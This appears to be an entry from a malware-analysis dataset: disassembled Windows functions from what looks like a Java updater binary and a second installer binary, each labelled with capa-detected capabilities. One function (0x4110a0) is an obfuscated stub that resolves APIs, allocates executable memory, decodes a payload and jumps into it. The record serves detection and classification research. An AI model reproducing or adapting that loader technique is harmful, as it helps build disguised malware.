joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40af57
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x94], eax
cmp dword [0x4530a8], 0
je 0x40af82
mov eax, dword [0x4530a4]
jmp 0x40afc6
push 0x114
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.00410610
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x114
call dword [sym.imp.kernel32.dll_GetVersionExW]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x70], 2
jne 0x40afb9
cmp dword [ebp - 0x7c], 6
jb 0x40afb9
mov eax, ecx
jmp 0x40afbb
xor eax, eax
mov dword [0x4530a4], eax
mov dword [0x4530a8], ecx
mov ecx, dword [ebp + 0x94]
xor ecx, ebp
call fcn.0040ffe6
add ebp, 0x98
leave
ret

Function at 0x40b3a3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x40b3b0
xor eax, eax
pop ebp
ret
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateProcessW]
pop ebp
ret

Function at 0x40b6b6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xf8c]
mov eax, 0x100c
call fcn.004105e0
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0xf88], eax
push esi
mov esi, dword [ebp + 0xf9c]
push edi
mov edi, dword [ebp + 0xf94]
xor eax, eax
push 0x7fe
push eax
mov word [ebp + 0x788], ax
lea eax, [ebp + 0x78a]
push eax
call fcn.00410610
push edi
push str.SOFTWAREClassesCLSID_sInprocServer32
lea eax, [ebp + 0x788]
push 0x400
push eax
call fcn.004110a0
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push 0x20019
neg esi
push 0
lea eax, [ebp + 0x788]
sbb esi, esi
push eax
add esi, reloc.OLEAUT32.dll_SysReAllocString
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
pop edi
pop esi
test eax, eax
je 0x40b74b
xor ecx, ecx
cmp eax, 2
sete cl
jmp 0x40b7ba
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x42f4d4
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
push dword [ebp - 0x7c]
test eax, eax
je 0x40b779
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40b7bc
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0xf98]
lea ecx, [ebp - 0x78]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b7ae
test dx, dx
je 0x40b7aa
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b7ae
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b788
xor eax, eax
jmp 0x40b7b3
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
mov ecx, dword [ebp + 0xf88]
xor ecx, ebp
call fcn.0040ffe6
add ebp, 0xf8c
leave
ret

Function at 0x40b9c3
Capabilities:
Query environment variable

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
je 0x40b9e4
push dword [esp + 0xc]
push dword [esp + 0xc]
push 0x42f5ec
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x40b9e4
inc esi
mov eax, esi
pop esi
ret
Function at 0x40c913
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0x10
mov eax, 0x42d995
call fcn.00415253
push 0x42f684
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004107d9
add esp, 0xc
test eax, eax
jne 0x40c9ee
push dword [ebp - 0x18]
call fcn.004110a0
cmp dword [0x453088], 0
pop ecx
je 0x40c96e
xor eax, eax
inc eax
jmp 0x40c9f0
lea eax, [ebp]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
cmp eax, esi
ja 0x40c9ee
test eax, eax
je 0x40c9ee
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040d1d7
and dword [ebp - 4], 0
push str.JavaDeployReg.log
lea ecx, [ebp - 0x14]
call fcn.0040d1d7
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.0040d3f0
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x40c9bf
call fcn.0040d3b2
mov esi, dword [ebp - 0x10]
test esi, esi
je 0x40c9ca
mov eax, dword [esi]
jmp 0x40c9cc
xor eax, eax
push 0x42f730
push eax
push 0x453088
call fcn.004110a0
add esp, 0xc
test eax, eax
je 0x40ca13
test esi, esi
je 0x40c9ee
mov ecx, esi
call fcn.0040d3b2
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.0040ffe6
add ebp, 0x20c
leave
ret
test esi, esi
je 0x40c966
mov ecx, esi
call fcn.0040d3b2
jmp 0x40c966

Function at 0x40ccc2
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x42d9bd
call fcn.00415286
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.004110a0
test eax, eax
je 0x40cced
call fcn.0040ccb3
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x42e30c
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x40cd48
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.0040d692
pop ecx
pop ecx
push edi
push esi
call fcn.004110a0
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.0040d30f
push eax
push esi
push 0x42e66c
call fcn.0040d692
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x40cd41
ret
cmp ebx, edi
je 0x40cd53
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x40ce04
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x40cdb0
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x40cd0c
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x40ce04
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x40ce04
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x40cd0c
mov eax, esi
call fcn.004152bc
ret
Function at 0x40d10c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x1a0]
sub esp, 0x220
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x19c], eax
mov eax, dword [ebp + 0x1a8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.004110a0
mov ebx, eax
cmp ebx, esi
je 0x40d17f
lea ecx, [ebp - 0x74]
call fcn.0040ab9e
mov eax, ebx
mov ecx, dword [ebp + 0x19c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ffe6
add ebp, 0x1a0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x40d197
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.0040d10c
cmp eax, esi
jne 0x40d1c9
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x40d187
lea ecx, [ebp - 0x74]
call fcn.0040ab9e
push dword [ebp - 0x78]
mov ecx, edi
call fcn.0040ab2f
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.0040ab9e
mov eax, esi
jmp 0x40d165

Function at 0x40d6f0
Capabilities:
Create process on windows

Disassembly:
call fcn.0040e9b9
test eax, eax
jne 0x40d70e
push 1
push eax
push eax
push str.http:__java.com_inst_dl_redirect
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
ret
Function at 0x40d70f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x3f9c]
mov eax, 0x401c
call fcn.004105e0
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x3f98], eax
mov eax, dword [ebp + 0x3fa4]
push ebx
push esi
push edi
mov dword [ebp - 0x74], eax
xor esi, esi
xor eax, eax
mov ebx, 0xffe
mov dword [ebp - 0x78], esi
push ebx
mov word [ebp + 0x2f98], ax
lea eax, [ebp + 0x2f9a]
push esi
push eax
mov dword [ebp - 0x70], esi
call fcn.00410610
xor eax, eax
push ebx
mov word [ebp - 0x68], ax
lea eax, [ebp - 0x66]
push esi
push eax
call fcn.00410610
add esp, 0x18
lea eax, [ebp - 0x80]
push eax
push 0x20019
push esi
push 0x42fc30
mov edi, 0x800
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40d878
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x2f98]
push eax
push esi
jmp 0x40d867
lea eax, [ebp + 0x2f98]
push eax
push 0x42fc88
push 0x42fc24
lea eax, [ebp - 0x68]
push edi
push eax
call fcn.004110a0
add esp, 0x14
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x68]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40d84f
push ebx
mov word [ebp + 0xf98], ax
lea eax, [ebp + 0xf9a]
push esi
push eax
call fcn.00410610
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0xf98]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push 0x42fce0
push dword [ebp - 0x7c]
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40d84f
cmp dword [ebp - 0x6c], esi
jbe 0x40d84f
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push 0x42fcf8
push dword [ebp - 0x7c]
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc dword [ebp - 0x70]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x2f98]
push eax
push dword [ebp - 0x70]
mov dword [ebp - 0x6c], edi
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x40d7b1
mov ecx, dword [ebp - 0x74]
lea eax, [ebp + 0x1f98]
push eax
call fcn.0040d1d7
mov ecx, dword [ebp + 0x3f98]
mov eax, dword [ebp - 0x74]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ffe6
add ebp, 0x3f9c
leave
ret
Function at 0x40e05b
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2f9c]
mov eax, 0x301c
call fcn.004105e0
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x2f98], eax
mov eax, dword [ebp + 0x2fa4]
push ebx
push esi
push edi
mov dword [ebp - 0x74], eax
xor eax, eax
mov edi, 0xffe
xor esi, esi
push edi
mov word [ebp + 0x1f98], ax
lea eax, [ebp + 0x1f9a]
push esi
push eax
mov dword [ebp - 0x70], esi
call fcn.00410610
xor eax, eax
push edi
mov word [ebp - 0x68], ax
lea eax, [ebp - 0x66]
push esi
push eax
call fcn.00410610
add esp, 0x18
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push esi
push 0x4301c0
mov ebx, 0x800
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40e1c3
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
push esi
jmp 0x40e1b2
lea eax, [ebp + 0x1f98]
push eax
push 0x430218
push 0x4301b4
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.004110a0
add esp, 0x14
lea eax, [ebp - 0x78]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x68]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40e19a
push edi
mov word [ebp + 0xf98], ax
lea eax, [ebp + 0xf9a]
push esi
push eax
call fcn.00410610
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0xf98]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push str.RuntimeLib
push dword [ebp - 0x78]
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40e19a
cmp dword [ebp - 0x6c], esi
jbe 0x40e19a
mov eax, dword [ebp + 0x2fa8]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
lea eax, [ebp - 0x80]
push eax
push esi
push 0x430288
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc dword [ebp - 0x70]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
push dword [ebp - 0x70]
mov dword [ebp - 0x6c], ebx
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x40e0fa
mov eax, dword [ebp - 0x74]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x40e1c9
sub eax, edx
sar eax, 1
xor ecx, ecx
cmp ecx, eax
mov ecx, dword [ebp + 0x2f98]
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
neg eax
pop ebx
call fcn.0040ffe6
add ebp, 0x2f9c
leave
ret
Function at 0x40e9b9
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x238]
sub esp, 0x2b8
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x234], eax
push esi
push 0x208
xor esi, esi
lea eax, [ebp + 0x2c]
push esi
push eax
call fcn.00410610
add esp, 0xc
lea eax, [ebp + 0x2c]
push eax
push esi
push esi
push 0x2c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x40ea14
xor eax, eax
mov ecx, dword [ebp + 0x234]
xor ecx, ebp
pop esi
call fcn.0040ffe6
add ebp, 0x238
leave
ret
xor eax, eax
push ebx
mov word [ebp + 0x10], ax
push edi
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp + 0x10]
mov dword [ebp + 0x24], 7
mov dword [ebp + 0x20], esi
call fcn.0040f362
push str.JavaJava_Updatejucheck.exe
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.004110a0
add esp, 0xc
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp + 0x10]
call fcn.0040ec7c
push 0x22
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0x10]
push 0x22
push eax
call fcn.0040f585
add esp, 0xc
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.004110a0
add esp, 0xc
push esi
push ebx
lea ecx, [ebp + 0x10]
call fcn.0040ec7c
push 0x40
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00410610
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 0x3c], esi
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [ebp + 8], 8
stosd dword es:[edi], eax
mov dword [ebp - 0x80], 0x44
mov eax, ecx
jae 0x40eaae
lea eax, [ebp - 0xc]
cmp dword [ebp + 8], 8
mov edx, dword [ebp + 4]
lea eax, [eax + edx*2]
jae 0x40eabd
lea ecx, [ebp - 0xc]
push dword [ebp - 0x2c]
mov dword [ebp + 0x1c], esi
push eax
push ecx
lea ecx, [ebp + 0x1c]
mov dword [ebp + 0x20], esi
mov dword [ebp + 0x24], esi
call fcn.0040f604
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp + 0x1c]
mov dword [ebp - 0x2c], esi
call fcn.0040f30c
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x40eaee
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x80]
push ecx
push esi
push esi
push 0x8000000
push ebx
push esi
push esi
push dword [ebp + 0x1c]
push eax
call fcn.0040b3a3
add esp, 0x28
test eax, eax
jne 0x40eb37
xor edi, edi
lea ecx, [ebp + 0x1c]
call fcn.0040eea9
push esi
push ebx
lea ecx, [ebp - 0xc]
call fcn.0040ec7c
push esi
push ebx
lea ecx, [ebp - 0x28]
call fcn.0040ec7c
mov eax, edi
pop edi
pop ebx
jmp 0x40e9fe
mov edi, ebx
jmp 0x40eb12

Function at 0x40ffe6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43cddc]
jne 0x40fff0
repz ret
jmp fcn.00417613
Function at 0x4110a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4110af
pop dword [ebp - 0x50]
mov eax, 0x25b733c2
sub eax, 0x25762313
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x5ac5141
sub dword [ebp - 0x60], 0xb75a0bf6
mov dword [ebp - 0x5c], 0x9ee161be
add dword [ebp - 0x5c], 0x9351ea87
mov dword [ebp - 0x58], 0xee898572
add dword [ebp - 0x58], 0x5dc2bebc
mov dword [ebp - 0x54], 0x11f0d4ee
add dword [ebp - 0x54], 0xee0f2b12
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x81824cf9
sub dword [ebp - 0x60], 0xd0fe3a3
mov dword [ebp - 0x5c], 0x42ada97d
add dword [ebp - 0x5c], 0xfebeb7f8
mov dword [ebp - 0x58], 0x609cb3ee
sub dword [ebp - 0x58], 0xfd2d4782
mov dword [ebp - 0x54], 0x44d9176e
add dword [ebp - 0x54], 0xbb26e892
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x77bc0414
sub eax, 0x77792400
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x4237a
push 0
call eax
mov ecx, 0x4dc5
mov ebx, eax
mov edx, 0x61a7b759
sub edx, 0x6161a759
add edx, dword [ebp - 0x50]
mov edi, 0x8a65c618
add edi, 0xc5ea2792
mov esi, dword [edx]
xor dword [ebp - 4], 0x20309df8
sub esi, edi
sub dword [ebp - 0x1c], esi
mov dword [ebx], esi
add dword [ebp - 0x24], 0x26d9d6af
add ebx, 0x90c7d2c7
add ebx, 0x6f382d3d
add edx, 0x411575e
sub edx, 0x411575a
loop 0x4111c6
add eax, 0x129e7
mov ebx, eax
add eax, 0x706b473f
sub eax, 0x706b473a
mov ecx, 0x6742455e
add ecx, 0x98fdbaa2
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x401cb0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x407518
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x40c01c]
test eax, eax
jne 0x401d5b
push esi
lea ecx, [esp + 4]
call sub.MFC42.DLL_CString::CString_1
push 0x514
push 0x514
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::ReleaseBuffer
push str.winhlp32.exe
lea ecx, [esp + 8]
call fcn.00406f62
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401d42
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x401d42
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [0x40c01c], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 4]
mov dword [esp + 0x10], 0xffffffff
call fcn.00406da0
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x401d70
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x51c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x401dd2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x514
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x52c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x51c
ret

Function at 0x401fe0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0xa28
push ebx
mov ebx, dword [esp + 0xa34]
push ebp
mov ebp, dword [esp + 0xa34]
push esi
push edi
push ebx
push 0
push 0
push ebp
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4020cb
lea eax, [esp + 0x10]
push eax
push str..htm
push 0x80000000
call fcn.00401d70
add esp, 0xc
test eax, eax
jne 0x4020cb
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x10]
push str._shellopencommand
push ecx
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x10]
push edx
push eax
push 0x80000000
call fcn.00401d70
add esp, 0xc
test eax, eax
jne 0x4020cb
lea ecx, [esp + 0x10]
push str.__1_
push ecx
call dword [sym.imp.MSVCRT.dll__mbsstr]
mov esi, eax
add esp, 8
test esi, esi
jne 0x4020a5
lea edx, [esp + 0x10]
push 0x40b368
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
jne 0x4020a5
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0xf]
jmp 0x4020a8
mov byte [esi], 0
push 0x40b364
push esi
call edi
push ebp
push esi
call edi
lea ecx, [esp + 0x10]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa28
ret
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa28
ret
Function at 0x402f40
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x1968
call fcn.004070f0
mov edx, dword [esp + 0x196c]
push ebx
test edx, edx
push edi
je 0x403017
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 2
jb 0x403017
mov ecx, 0x145
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0x514
lea eax, [esp + 0xc]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 2
jne 0x402fdc
cmp byte [esp + 9], 0x3a
jne 0x403017
mov edi, 0x40b034
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x402fec
lea eax, [esp + ecx + 7]
mov cl, byte [esp + ecx + 7]
cmp cl, 0x5c
jne 0x402fec
mov byte [eax], 0
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0xffffffff
je 0x403017
test bl, 0x10
je 0x403017
pop edi
mov eax, 1
pop ebx
add esp, 0x1968
ret
pop edi
xor eax, eax
pop ebx
add esp, 0x1968
ret

Function at 0x4033e0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x403408
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
add esp, 0xc
ret
mov edx, dword [esp + 0x10]
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.HcNetState
push ecx
mov dword [esp + 0x1c], 0x514
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x403446
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add esp, 0xc
ret
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0xc
ret
Function at 0x403460
Capabilities:
Set registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x4034a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40349d
push 0
push 0x40b398
push 0x40b514
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
pop ecx
ret
call fcn.004023f0
xor eax, eax
pop ecx
ret
mov edx, dword [esp + 8]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 8]
push edx
push 1
push eax
push str.NextSetupPath
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop edi
je 0x4034e5
call fcn.004023f0
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ecx
ret
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop ecx
ret

Function at 0x403500
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x403528
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
add esp, 0xc
ret
mov edx, dword [esp + 0x10]
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.UninstallString
push ecx
mov dword [esp + 0x1c], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x403566
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add esp, 0xc
ret
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0xc
ret